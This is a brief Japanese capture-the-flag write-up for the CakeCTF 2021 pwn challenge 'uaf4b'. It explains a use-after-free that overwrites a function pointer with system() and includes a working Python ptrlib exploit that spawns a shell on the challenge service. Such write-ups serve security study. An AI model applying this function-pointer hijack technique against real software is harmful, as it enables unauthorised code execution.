# [pwn] uaf4b - CakeCTF 2021 ###### tags: `CakeCTF 2021` 簡単of ther year 受賞 ```clike= typedef struct { void (*fn_dialogue)(char*); char *message; } COWSAY; ``` という構造体があり、 - `fn_dialogue`を呼ぶ - 1度だけcowsayのインスタンスをfreeする - `message` をnewして16バイトまで入力する のいずれかができる。use after freeがあって、cowsayをfreeしたあとにmessageを入れるとcowsayのインスタンスを上書きできるので、`fn_dialogue`を`system`に、`message`をなんかメッセージのインスタンスに向けることで`system("/bin/sh")`の呼び出しにできる ```python= from ptrlib import u64, p64, Socket sock = Socket("localhost", 9001) system_addr = int(sock.recvlineafter("<system> = "), 16) sock.sendlineafter("> ", "2") sock.sendlineafter("Message: ", "/bin/sh") sock.sendlineafter("> ", "4") sock.recvuntil("message\n") message_addr = int(sock.recvuntil("|")[:-2], 16) sock.sendlineafter("> ", "3") sock.sendlineafter("> ", "2") sock.sendlineafter("Message: ", p64(system_addr) + p64(message_addr)) sock.interactive() ```